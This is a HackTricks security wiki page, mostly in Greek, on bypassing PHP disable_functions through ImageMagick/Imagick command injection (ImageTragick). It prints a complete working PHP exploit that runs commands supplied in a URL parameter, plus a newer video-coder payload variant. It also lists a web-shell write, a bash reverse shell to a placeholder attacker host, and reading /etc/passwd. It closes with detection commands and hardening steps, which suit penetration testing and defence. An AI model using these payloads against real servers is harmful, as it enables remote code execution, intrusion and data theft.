Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Η γνωστή οικογένεια σφαλμάτων ImageTragick (CVE-2016-3714 κ.ά.) επιτρέπει σε έναν επιτιθέμενο να αποκτήσει πρόσβαση στο υποκείμενο δυαδικό αρχείο ImageMagick μέσω κατεργασμένων εισόδων MVG/SVG. Όταν η επέκταση PHP Imagick είναι παρούσα, αυτό μπορεί να εκμεταλλευτεί για την εκτέλεση εντολών shell, ακόμη και αν κάθε συνάρτηση PHP που σχετίζεται με την εκτέλεση είναι στη μαύρη λίστα με disable_functions.

Το αρχικό PoC που δημοσιεύθηκε από τον RicterZ (Chaitin Security Research Lab) τον Μάιο του 2016 αναπαράγεται παρακάτω. Η τεχνική συναντάται ακόμη τακτικά κατά τη διάρκεια σύγχρονων ελέγχων PHP 7/8, επειδή πολλοί πάροχοι κοινής φιλοξενίας απλώς συντάσσουν την PHP χωρίς exec/system αλλά διατηρούν έναν παρωχημένο συνδυασμό Imagick + ImageMagick.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Γιατί λειτουργεί;

  1. Imagick::readImage() δημιουργεί διαφανώς το ImageMagick delegate (convert/magick) δυαδικό αρχείο.
  2. Το σενάριο MVG ορίζει το fill σε μια εξωτερική URI. Όταν εισαχθεί ένα διπλό εισαγωγικό ("), το υπόλοιπο της γραμμής ερμηνεύεται από το /bin/sh ‑c που χρησιμοποιεί εσωτερικά το ImageMagick → αυθαίρετη εκτέλεση κελύφους.
  3. Όλα συμβαίνουν εκτός του ερμηνευτή PHP, επομένως οι disable_functions, open_basedir, safe_mode (καταργήθηκε στην PHP 5.4) και παρόμοιους περιορισμούς εντός διαδικασίας παρακάμπτονται εντελώς.

Κατάσταση 2025 – είναι ακόμα σχετική

  • Οποιαδήποτε έκδοση Imagick που βασίζεται σε μια ευάλωτη υποδομή ImageMagick παραμένει εκμεταλλεύσιμη. Σε εργαστηριακές δοκιμές, το ίδιο payload λειτουργεί σε PHP 8.3 με Imagick 3.7.0 και ImageMagick 7.1.0-51 που έχει μεταγλωττιστεί χωρίς σκληρυμένο policy.xml.
  • Από το 2020 έχουν βρεθεί αρκετές επιπλέον διαδρομές εκτέλεσης εντολών (video:pixel-format, ps:, text: coders…). Δύο πρόσφατα δημόσια παραδείγματα είναι:
  • CVE-2020-29599 – εκτέλεση κελύφους μέσω του text: coder.
  • GitHub issue #6338 (2023) – εισαγωγή στον video: delegate.

Εάν το λειτουργικό σύστημα παρέχει το ImageMagick < 7.1.1-11 (ή 6.x < 6.9.12-73) χωρίς περιοριστικό αρχείο πολιτικής, η εκμετάλλευση είναι απλή.

Σύγχρονες παραλλαγές payload

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

Άλλες χρήσιμες πρωτογενείς κατά τη διάρκεια CTFs / πραγματικών εμπλοκών:

  • File write... > /var/www/html/shell.php (γράψτε web-shell έξω από open_basedir)
  • Reverse shellbash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Enumerateid; uname -a; cat /etc/passwd

Γρήγορη ανίχνευση & καταμέτρηση

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Αν η έξοδος δείχνει ότι οι κωδικοποιητές MVG ή URL είναι ενεργοποιημένοι, ο στόχος είναι πιθανό να είναι εκμεταλλεύσιμος.

Mitigations

  1. Patch/Upgrade – Χρησιμοποιήστε το ImageMagick ≥ 7.1.1-11 (ή την τελευταία 6.x LTS) και το Imagick ≥ 3.7.2.
  2. Harden policy.xml – ρητά απενεργοποιήστε τους κωδικοποιητές υψηλού κινδύνου:
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Remove the extension σε μη αξιόπιστα περιβάλλοντα φιλοξενίας. Στις περισσότερες στοίβες ιστού, το GD ή το Imagick δεν απαιτείται αυστηρά.
  2. Αντιμετωπίστε το disable_functions μόνο ως άμυνα σε βάθος – ποτέ ως κύριο μηχανισμό απομόνωσης.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks